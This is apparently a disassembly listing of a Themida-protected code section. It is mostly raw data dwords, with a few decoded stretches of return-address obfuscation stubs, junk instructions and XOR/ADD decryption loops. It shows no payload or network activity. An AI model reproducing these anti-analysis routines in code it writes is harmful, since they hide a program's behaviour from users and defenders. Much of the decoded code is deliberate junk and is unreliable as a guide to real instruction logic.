		dd 0D0225D24h, 345195FFh, 6A060Fh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1D0424h, 50400000h, 55EE31C3h, 69447BA1h
		dd 2967C34Eh, 0F0185BDh, 35952906h, 0B9060F33h,	114Fh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0FAC35141h
		dd 1DD30243h, 0D450BB6Eh, 3800FC4h, 66000000h, 0E183DF8Bh
		dd 68F0FFCh, 0B000000h,	0F1E319Dh, 0FA8BFC06h, 6AC02Bh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 0BB7373C3h, 15966F67h, 8B0BD330h, 0F05219Dh,	0BA06h
		dd 0B70F0000h, 0C233ADF8h, 0D003E8D1h, 7504E983h, 53006AF4h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1904h, 0C3534300h
		dd 136D7120h, 8B5796E8h, 880D5FDFh, 52000000h, 0FA8B6660h
		dd 0E5D08166h, 8B5F61DFh, 0F2C6595h, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 0D93419DBh
		dd 9D896AE2h, 60F26E9h,	2AF38166h, 0C18D8BBFh, 0F060F07h
		dd 78Bh, 18D0F00h, 0F5000000h, 8BC28B50h, 8BC10318h, 0D1C18B18h
		dd 8BC203E8h, 6A5818h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 22E1A3C3h, 44EC076Ch, 6FA4F6BBh
		dd 352DBF62h, 9D8B66ADh, 60F2285h, 2AD5BD83h, 0F00060Fh
		dd 6684h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 0CFE0CD8h, 0B70FA424h, 0B8FAh, 9D8B0000h
		dd 60F13C1h, 4CA78D8Dh,	6A060Fh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 9B899CC3h, 0A6625279h
		dd 0BF0F60E4h, 0E28166F1h, 0FF616826h, 83DA8BE1h, 0F2491BDh
		dd 840F0006h, 428h, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 17h, 0A4C35343h, 8311992Ch, 0F2491BDh, 840F0106h
		dd 417h, 9798D89h, 8E8060Fh, 7A000000h,	9A741B74h, 9E16E63h
		dd 0F3495BDh, 0BD835F06h, 60F2491h, 0BA860F03h,	6A000003h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 57B6C350h, 850FCF69h, 16h, 11E9h,	9C878E00h
		dd 0E1FC5C07h, 0B63BF345h, 6C15FA05h, 0B603CA0h, 0F1E11BDh
		dd 0A9BD0906h, 61060F1Eh, 6A6027B3h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 0D071C350h
		dd 60C38166h, 0D98C66F3h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 17h, 9AC35343h, 0F111E62h,	0C86h, 68F0F00h
		dd 0B000000h, 0F0B799Dh, 4E18006h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 82C35040h, 272C6AF5h, 0AB7AC61h
		dd 2E840FC9h, 6A000001h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 0E31FC353h,	3011BD89h
		dd 0DF80060Fh, 0A9858BAFh, 33060F2Dh, 0F19AD85h, 3870F06h
		dd 66000000h, 5050FE8Bh, 0EE8h,	0C1D73000h, 7C2AE219h
		dd 0D4C11844h, 8A454407h, 895F5FFAh, 6A2404h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 734361C3h
		dd 4A9630Bh, 535675DCh,	0FAAAEB81h, 5B5B4BBDh, 9D01006Ah
		dd 60F0989h, 4E8h, 1F03FF00h, 0AE900h, 967A0000h, 0D03CCF6Ah
		dd 2E24EE5Eh, 3810F50h,	66000000h, 448BF88Bh, 0DF8B0424h
		dd 0BE8008Bh, 0D5000000h, 84F9C25Ah, 0E44508DEh, 5E968C1h
		dd 0DF000000h, 818CFF9Ch, 2444895Fh, 13E904h, 359F0000h
		dd 682DBFABh, 0EC594811h, 5116A136h, 963EDCF7h,	0F38058D6h
		dd 0C995FF14h, 6A060F34h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 4215C353h, 0B8ED3DCCh
		dd 89851EEEh, 12BAC685h, 96CF8106h, 0E907DA52h,	164h, 0BE858BF9h
		dd 0B30612BAh, 1800C7EDh, 8B000000h, 0F28E5BDh,	0C2B58B06h
		dd 800612BAh, 858BE1CFh, 60F2FA9h, 5E9h, 89B72300h, 9D33361Ch
		dd 60F33ADh, 6A0689h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 0D0E6F1C3h, 0E2DB1458h, 28F0FE4h
		dd 0B3000000h, 0F19D8B8Eh, 8B060F2Eh, 0F2DA985h, 0C3816606h
		dd 4689BC45h, 96C5B704h, 8E950h, 0F000000h, 9DC425ACh
		dd 6A967DFAh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 89ADC351h, 0F2B21B5h, 0BEB5FF06h
		dd 6A0612BAh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 99E8C352h, 809F6825h, 481B60Dh
		dd 11836024h, 0C6858D4Ah, 6A0612BAh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 2F51C350h
		dd 0A60B88FBh, 0F001C73h, 38Fh,	5FF95100h, 0C0BF5350h
		dd 5B514D3Ch, 6A240489h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 29B1C351h, 0F29D595h
		dd 0FFDE8B06h, 0F34C995h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 97EB5E57h
		dd 0F0D7E96Dh, 0DAB70F61h, 2CDD9D0Bh, 85C7060Fh, 60F2491h
		dd 3, 21C5B589h, 0BD83060Fh, 612BAC6h, 32840F00h, 81000000h
		dd 9DBF30F3h, 42E923h, 6A0000h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 7D309FC3h, 89E18B82h
		dd 0F303595h
		dd 0C305006h, 11440011h, 10E8C101h, 2114430h, 3114C00h
		dd 4E98358h, 36EBE775h,	11043050h, 1116400h, 3010E8C1h
		dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h
		dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h
		dd 0C08B00EBh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 17h,	6EC35141h, 0BF1BBC87h, 6484486Ah, 2491BD83h, 0F03060Fh
		dd 3B585h, 83DE8B00h, 12BAC6BDh, 840F0006h, 3A6h, 5E9h
		dd 7EECC100h, 0B5FFD51Eh, 612BAC6h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 23C35242h, 4B8D658Ch, 8B395AD2h
		dd 0F28619Dh, 0FD95FF06h, 6A060F27h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 89EAC357h
		dd 0F246985h, 0BAB58B06h, 8B0612BAh, 106C7DFh, 6A000100h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 4063C353h, 8143CF37h, 0E9D949A5h,	0Eh, 6C55BBE9h
		dd 0C72824E0h, 127BA7EFh, 5096D514h, 11E953h, 0AF570000h
		dd 0FD7FAA9Eh, 373079D9h, 0BF3F0B3Fh, 5B698791h, 819D8996h
		dd 0FF060F1Ch, 12BAC6B5h, 4D958906h, 0FF060F25h, 0F130195h
		dd 0E2D38106h, 8B3A9E9Eh, 12BABAB5h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 0ED302F40h
		dd 0BD89AB4Dh, 60F2BA5h, 1D15858Bh, 6A060Fh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 126661C3h
		dd 0DC919211h, 66B69B70h, 8166D98Bh, 890988C7h,	0C486h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 0F53F5D7Bh, 2C65958Bh, 13E8060Fh, 6B000000h
		dd 0DF894861h, 0F6C2992Fh, 0CCDD5F65h, 0EC2B2286h, 9E9FF28h
		dd 2B000000h, 48616B3Eh, 992FDF89h, 4C2835Fh, 10859D31h
		dd 5089060Fh, 53006A20h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1A04h, 0C3534300h, 25BFF389h, 8D3D0BB5h, 12CF1485h
		dd 0A6C38006h, 0B88689h, 95890000h, 60F0D71h, 9589006Ah
		dd 60F3265h, 0BAC6B5FFh, 6A0612h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 0BBD40C3h, 0FD95FFC5h
		dd 50060F30h, 0FAC38166h, 0BB505BFCh, 5236027Eh, 81243489h
		dd 0A1EA73D3h, 0C6B5FF6Fh, 8B0612BAh, 0F0D5DBDh, 0E595FF06h
		dd 6A060F12h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 0B68DC355h, 83884117h,	0F27A1BDh
		dd 840F0006h, 42h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 19h, 13C35040h, 0F33B1E2Ch, 14E996D1h, 0DA000000h
		dd 0CD9C95D3h, 25C6D135h, 59637B06h, 0A7280485h, 500B651Ah
		dd 0F965F53h, 0B5FFFBB7h, 612BAC6h, 14E9h, 0EE848900h
		dd 72C64472h, 65EE01ECh, 3591FD87h, 0CE8F1B8Dh,	1595FFF8h
		dd 0F060F34h, 682h, 0ED9D2900h,	0FF060F1Dh, 12BAC6B5h
		dd 95FFF806h, 60F0AF5h,	4870Fh,	0BB660000h, 0BD838775h
		dd 60F07A9h, 7C840F02h,	6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 68F0C355h
		dd 9D8B9AFAh, 60F0081h,	2C8D858Bh, 8B56060Fh, 0F17D5BDh
		dd 0C65B06h, 51006A00h,	3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1904h, 0C3514100h, 0DA6FDFAh, 0CB8122DDh, 45048B11h
		dd 6E950h, 561E0000h, 0D78D38Fh, 0DE95Bh, 3950000h, 0B445D8AEh
		dd 0D4024A34h, 0C79ADF8Eh, 0F106D85h, 6, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
		dd 6D2B2983h, 0A65AF135h, 8952232Ch, 0F0DB585h,	27E95B06h
		dd 9FFFFF4h, 0F28E9B5h,	51C18B06h, 61858D5Fh, 6A060F14h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 9891C355h, 999D33B6h, 81060F17h, 0A26ED2D3h
		dd 0BF669067h, 0F5082C2h, 0B8Ah, 58A0F00h, 0BF000000h
		dd 53824BCFh, 50006A90h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1704h, 0C3504000h, 2C7B092Eh, 6880F60h, 8B000000h, 0F0995B5h
		dd 0DD958906h, 61060F16h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 0C6BF8EC3h, 6A02A794h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1C04h
		dd 0C3514100h, 0E2CBC6FFh, 289DD2F4h, 0C2B16046h, 443BB866h
		dd 0CF2DBB61h, 858D2D2Bh, 614042Dh, 2EC19589h, 0C083060Fh
		dd 55006A05h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 0A0F0D982h, 8589AB90h, 60F1EE9h,	0C27ABB50h
		dd 4896B4Eh, 0B4D38124h, 6A1F514Ch, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 810F392Ah
		dd 3, 6ADABF0Fh, 0AE900h, 1BA10000h, 4AA3EFE3h,	0CC9BF27h
		dd 319D9D8Bh, 95FF060Fh, 60F348Dh, 985E8D8Dh, 6A0612h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 0D69403C3h, 35FB5A44h, 0FF15393Fh, 1BD0BD1h,	83060F34h
		dd 0F21ADBDh, 850F0106h, 0AFh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 97C35747h, 119474DDh, 41CDF0DCh
		dd 6A026AE6h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 0D2FEC353h, 0FA3E3AFh,	881h, 0C3815600h
		dd 54130112h, 17BF505Fh, 896D56CFh, 6A2404h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 150424h, 52420000h, 2B706CC3h
		dd 0F33319Dh, 0FD95FF06h, 6A060F30h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 7711C356h
		dd 0FE9983CFh, 0F07563F7h, 0E9F8B70Fh, 0D09h, 0E8h, 0ED815D00h
		dd 6140437h, 8BFBB70Fh,	0F2B2D9Dh, 47858D06h, 6A061288h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 0F666C355h, 60908421h, 8B595760h,	506161F8h
		dd 0A5CDCBBBh, 6A900Ah,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 60C9ABC3h, 1F3D7688h, 89176D8Dh
		dd 0F1B55BDh, 35FF6406h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_59B383
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59B383	proc near		; CODE XREF: Themida_:0059B37Bp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ah
		inc	ebp
		push	ebp
		retn
sub_59B383	endp

; ---------------------------------------------------------------------------
		db 75h
		dd 0E24CE03h, 0AE927B9h, 6F000000h, 0F6286D44h,	0F73543A3h
		dd 658589E0h, 64060F31h, 2589h,	6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 0ED71A0C3h
		dd 0CF8166C4h, 85FFD451h, 60F2459h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 2CC35646h, 122D9D23h, 9D8B060Fh
		dd 60F00D5h, 0B5FFFF6Ah, 60F1581h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 0CEC35545h,	430F7D37h, 7BC23C41h
		dd 145595FFh, 2CE9060Fh, 66000001h, 0B023F9BBh,	0E6FA8B00h
		dd 0C870F70h, 0F000000h, 680h, 860F00h,	8B000000h, 0F173DBDh
		dd 6671E406h, 3C718DBBh, 0FC830F61h, 8B000000h,	0F1DC99Dh
		dd 0C8B60F06h, 8E8h, 0C5FEF700h, 0A126678Ch, 0A9BD8B66h
		dd 5F060F1Ah, 6BAh, 0FBB70F00h,	1BBFC18Bh, 0C11C98B3h
		dd 9D0104E8h, 60F11E9h,	66E2F766h, 470FE381h, 0AE9h, 79B61700h
		dd 92D895A7h, 2B9BCD52h, 0F18589C8h, 8B060F2Eh,	0A0E9F5D1h
		dd 66000000h, 0F113D781h, 4C50858Bh, 9D0B4755h,	60F1B39h
		dd 0E3816652h, 835FDDBAh, 9D2907C0h, 60F34E9h, 0E349D781h
		dd 0C0837FA8h, 0FE900h,	83AA0000h, 1836D5CAh, 548A5133h
		dd 5C936E4h, 0FD03BC3h,	2483h, 8B666000h, 0C1958BDFh, 61060F01h
		dd 0E9D98B66h, 47h, 15DBD89h, 6E9060Fh,	0B0000000h, 16921481h
		dd 0FF8D8BCCh, 8BFFFFFFh, 0F120DBDh, 0FB8B6606h, 0F01E183h
		dd 1E84h, 0DFBF0F00h, 0FFFFA583h, 66FEFFFFh, 9589DA8Bh
		dd 47554C50h, 10119589h, 0E9060Fh, 8D000000h, 138484B5h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
		dd 0C3564600h, 0AF150F5Fh, 382C5ACh, 8B663D6Dh,	6A006AD9h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 98C1C357h, 92FA3006h, 0F938CA8Ch,	2271BD8Bh
		dd 11E8060Fh, 52000000h, 75034A97h, 0F5321690h,	0B3B4FA9Ah
		dd 0F439AC03h, 1E799D8Bh, 0FF5B060Fh, 0F345195h, 799D0306h
		dd 0B9060F14h, 0F32h, 0E857006Ah, 3, 5FC35F20h,	4247C89h
		dd 4244481h, 18h, 1FC35747h, 41868D2Eh,	83DFBF0Fh, 6AFCE1h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 88D31FC3h, 23B2BE73h, 0F07AD9Dh, 0B5BD8B06h,	0FC060F2Ch
		dd 11858589h, 0B8060Fh,	8B000000h, 0BAFAh, 85890000h, 60F241Dh
		dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 90C35141h, 0F6B98F1Ch, 28029682h
		dd 0B9BD8925h, 31060F2Bh, 0F26BD9Dh, 880D06h, 85890000h
		dd 60F2C25h, 34AD9D33h,	958B060Fh, 60F2C65h, 0C18D8BF5h
		dd 6A060F07h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 4FE5C357h, 0ED646B53h,	8B50CB39h
		dd 3188BC2h, 8B188BC1h,	3E8D1C1h, 58188BC2h, 6AD98Bh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 0D82C35C3h, 7AB78F23h, 2AD5BD83h, 0F00060Fh,	8384h
		dd 7870F00h, 0F000000h,	182h, 0B8F800h,	0BF000000h, 4B8C89E5h
		dd 1860Fh, 8DF50000h, 0F4CA78Dh, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 7F551C4h, 0E656D71Fh
		dd 8830Fh, 89600000h, 0F347D95h, 0E1FF6106h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 58C35545h, 0B874C138h
		dd 0AE2B540Fh, 0BBF9BF0Fh, 37A6A4Ah, 2491BD83h,	0F00060Fh
		dd 42984h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1C04h, 0C3504000h, 0CB2FA141h, 0B561EE85h, 81BD8B2Fh
		dd 83060F1Eh, 0F2491BDh, 840F0106h, 40Dh, 2491BD83h, 0F03060Fh
		dd 3CA86h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 341CE73Bh, 68866272h, 1DBD8920h
		dd 60060F30h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 14h,	79C35646h, 871BD01h, 8D0F060Fh,	6, 0D2D9531h, 8C66060Fh
		dd 50006AD9h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 33A4B813h, 0BD73A3Dh, 8B667C17h,	4E180FAh
		dd 10E9h, 11380800h, 0A1351DF8h, 0FE73485Bh, 74DE9829h
		dd 0FC90A9Fh, 11184h, 0C5EB8100h, 8B1AE8B7h, 0F2DA985h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 0C62E3603h, 0BB66EC34h, 85332286h, 60F19ADh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0BC35343h
		dd 0F9107583h, 24048950h, 9898D89h, 6A060Fh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0D5C35646h, 0DE8B668Bh
		dd 4E8h, 1F03FF00h, 9E900h, 0F3460000h,	0B1D146F2h, 501FABD5h
		dd 0D9ABBF66h, 424448Bh, 8BDA8B66h, 89DE8B00h, 0BB042444h
		dd 1BDBE915h, 56006A58h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1504h, 0C3564600h, 95FF6AC9h, 60F34C9h, 12859501h, 0BB66060Fh
		dd 85899080h, 612BAC6h,	0AF9BD8Bh, 0B9E9060Fh, 6A000001h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 716CC351h, 858BF501h, 612BABEh, 116D9D8Bh
		dd 0C7060Fh, 18h, 1076BF66h, 0BAC2B58Bh, 9D8B0612h, 60F1585h
		dd 2FA9858Bh, 6A060Fh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 0AEAB1EC3h, 4B076150h, 335D8589h
		dd 689060Fh, 104DBD8Bh,	858B060Fh, 60F2DA9h, 4689DA8Bh
		dd 55006A04h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 38A20C5Ch, 12118D89h, 8B50060Fh,	243489FAh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0F4C35545h
		dd 59D238F3h, 0F52262F6h, 12CDBD01h, 0B5FF060Fh, 612BABEh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 9C35141h
		dd 0B94A35BCh, 0E8A7499Bh, 0Fh,	0FC58A85Dh, 656D9BDDh
		dd 3DB2344h, 5F677F54h,	0B6ECC268h, 8D0F60A2h, 3, 0FF18B66h
		dd 48Bh, 5FBF6600h, 48161EDh, 68173D24h, 56006A5Dh, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
		dd 0C0128FAFh, 0EC89E71Eh, 0C6858D86h, 6A0612BAh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 6BA8C352h, 8B87DA5Bh, 0DF8B66D9h, 24048950h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 8BC35545h, 0B85D627h
		dd 0A449C6EDh, 34C995FFh, 890F060Fh, 0
; ---------------------------------------------------------------------------
		popa
		push	0
		push	ecx
		call	sub_59BB50
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59BB50	proc near		; CODE XREF: Themida_:0059BB48p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_59BB50	endp

; ---------------------------------------------------------------------------
		cmp	al, 7Ch
		xchg	eax, esi
		push	esp
		pusha
		lodsd
		mov	ebx, 5673B7EDh
		jnb	loc_59BB77
		mov	edi, [ebp+60F2FD1h]


loc_59BB77:				; CODE XREF: Themida_:0059BB6Bj
		mov	dword ptr [ebp+60F2491h], 3
		push	0
		push	edi
		call	sub_59BB8C
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59BB8C	proc near		; CODE XREF: Themida_:0059BB84p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Bh
		inc	edi
		push	edi
		retn
sub_59BB8C	endp

; ---------------------------------------------------------------------------
		dec	esi
		popf
		mov	word ptr [edi-6], ds
		xchg	ecx, eax
		push	cs
		cmp	dword ptr [ebp+612BAC6h], 0
		jz	loc_59BBBF
		mov	edi, [ebp+60F28C1h]
		jmp	loc_59BBDA
; ---------------------------------------------------------------------------
		mov	di, si


loc_59BBBF:				; CODE XREF: Themida_:0059BBABj
					; Themida_:0059BBD6j
		push	eax
		xor	[ecx+edx], cl
		add	[ecx+edx+1], al
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], cl
		pop	eax
		sub	ecx, 4
		jnz	short loc_59BBBF
		jmp	short loc_59BC10
; ---------------------------------------------------------------------------


loc_59BBDA:				; CODE XREF: Themida_:0059BBB7j
					; Themida_:0059BBF1j
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_59BBDA
		jmp	short loc_59BC10
; ---------------------------------------------------------------------------


loc_59BBF5:				; CODE XREF: Themida_:0059BC0Cj
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_59BBF5
		jmp	short $+2


loc_59BC10:				; CODE XREF: Themida_:0059BBD8j
					; Themida_:0059BBF3j
		mov	eax, eax
		mov	[ebp+60F1C95h],	ecx
		push	0
		push	esi
		call	sub_59BC23
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59BC23	proc near		; CODE XREF: Themida_:0059BC1Bp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_59BC23	endp

; ---------------------------------------------------------------------------
		sti
		sahf
		fisub	word ptr [edx+2F8365E2h]
		mov	bx, si
		cmp	dword ptr [ebp+60F2491h], 3
		jnz	loc_59BFF1
		push	0
		push	ebp
		call	sub_59BC56
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59BC56	proc near		; CODE XREF: Themida_:0059BC4Ep

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 18h
		inc	ebp
		push	ebp
		retn
sub_59BC56	endp

; ---------------------------------------------------------------------------
		push	ebp
		xlat
		dec	esp
		idiv	byte ptr [edi+1AC59D8Bh]
		clts
		cmp	dword ptr [ebp+612BAC6h], 0
		jz	loc_59BFF1
		movsx	edi, di
		push	dword ptr [ebp+612BAC6h]
		push	0
		push	eax
		call	sub_59BC92
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59BC92	proc near		; CODE XREF: Themida_:0059BC8Ap

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_59BC92	endp

; ---------------------------------------------------------------------------
		dw 0DB43h
		dd 0BC7BF963h, 6C09598Fh, 11E960h, 535C0000h, 5C9112E6h
		dd 45A02B46h, 8818D50Ch, 665E4D9Eh, 6112B5B9h, 10B99D8Bh
		dd 95FF060Fh, 60F27FDh,	3365BD8Bh, 0B58B060Fh, 612BABAh
		dd 0C7D88B66h, 1000106h, 5096FC00h, 9820Fh, 66600000h
		dd 66CEB4BAh, 9661D68Bh, 0C6B5FFF9h, 0E80612BAh, 0Bh, 7C2D4B36h
		dd 0E0055411h, 0B76997C7h, 95FF5FC5h, 60F1301h,	12E9h
		dd 0D5765000h, 0A228D94Ah, 0FB004FFCh, 0DDBDCA5Bh, 8BF80CD2h
		dd 12BABAB5h, 0D19D2306h, 8B060F01h, 0F1D1585h,	6890F06h
		dd 2B000000h, 0F2A2DBDh, 0C4868906h, 6A000000h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 0DC8BC350h, 2A963A72h, 2C65958Bh, 0BD8B060Fh, 60F0069h
		dd 0F04C283h, 189h, 5089F900h, 50006A20h, 3E8h,	0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 0CF4EBD95h
		dd 0ADB58950h, 8D060F16h, 12CF1485h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 0A8F470AFh
		dd 0B88689h, 0F88A0000h, 6A006Ah, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 7F50ACC3h, 0BAC6B5FFh
		dd 53510612h, 17FD9D8Bh, 5B5B060Fh, 1DE19D8Bh, 95FF060Fh
		dd 60F30FDh, 54BB6651h,	50965BC8h, 3426BF66h, 55006A96h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 0BD03AB10h, 60F1675h, 1199D23h, 0B5FF060Fh, 612BAC6h
		dd 12EDBD89h, 95FF060Fh, 60F12E5h, 27A1BD83h, 0F00060Fh
		dd 6784h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 0F9F00803h, 8D2939BAh, 60F0831h
		dd 50FA8B96h, 66535250h, 5F9856BBh, 5250310Fh, 7E9h, 0B50CA500h
		dd 5F8F12ECh, 7B7310Fh,	585A585Ah, 8E0F96h, 0E9000000h
		dd 10h,	0C35B52C8h, 7A4BCE2h, 522B0814h, 0D71C780Ch, 0BAC6B5FFh
		dd 6A0612h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 5A8B6DC3h, 56083998h, 5ABB6641h, 0BE9ACh
		dd 0E07C0000h, 6FE714D4h, 0E63DC716h, 1595FF54h, 6A060F34h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 83D7C355h, 68F0F21h, 8B000000h, 0F0D55BDh
		dd 0C6B5FF06h, 6A0612BAh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 8655C357h, 0E4CF8259h
